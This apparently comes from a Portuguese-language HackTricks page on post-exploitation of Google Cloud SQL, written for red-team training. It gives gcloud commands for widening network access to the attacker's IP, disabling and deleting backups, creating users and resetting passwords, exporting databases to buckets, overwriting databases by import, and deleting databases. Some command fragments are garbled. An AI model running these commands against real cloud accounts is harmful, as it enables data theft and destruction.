GCP - Cloud SQL Post Exploitation

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cloud SQL

Para mais informações sobre Cloud SQL veja:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Para se conectar aos bancos de dados você apenas precisa de acesso à porta do banco de dados e conhecer o username e o password, não há requisitos de IAM. Portanto, uma maneira fácil de obter acesso, supondo que o banco de dados tenha um endereço IP público, é atualizar as redes permitidas e permitir que o seu próprio IP tenha acesso.

Permitir seu IP e conectar ao banco de dados ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Também é possível usar **`--no-backup`** para **interromper os backups** do banco de dados.

Como esses são os requisitos, não tenho certeza completa sobre para que servem as permissões **`cloudsql.instances.connect`** e **`cloudsql.instances.login`**. Se você souber, envie um PR!

### `cloudsql.users.list`

Obtenha uma **lista de todos os usuários** do banco de dados:

<details>

<summary>Listar usuários do banco de dados</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Esta permissão permite criar um novo usuário dentro do banco de dados:

Criar usuário do banco de dados ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Essa permissão permite atualizar o usuário dentro do banco de dados. Por exemplo, você poderia alterar sua senha:

Atualizar senha do usuário ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups podem conter informações sensíveis antigas, então é interessante verificá-los.
Restaurar um backup dentro de um banco de dados:

Restaurar backup do banco de dados ```bash gcloud sql backups restore --restore-instance ```

Para fazer isso de maneira mais stealth, é recomendado criar uma nova instância SQL e recuperar os dados lá, em vez de nos bancos de dados atualmente em execução.

cloudsql.backupRuns.delete

Esta permissão permite excluir backups:

Excluir backup ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Exportar um banco de dados para um Cloud Storage Bucket para que você possa acessá-lo a partir daí:

Exportar banco de dados para um Cloud Storage Bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Importar um banco de dados (sobrescrever) de um Cloud Storage Bucket:

Importar banco de dados do bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Excluir um banco de dados da instância do banco de dados:

Excluir banco de dados ```bash gcloud sql databases delete --instance ```

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks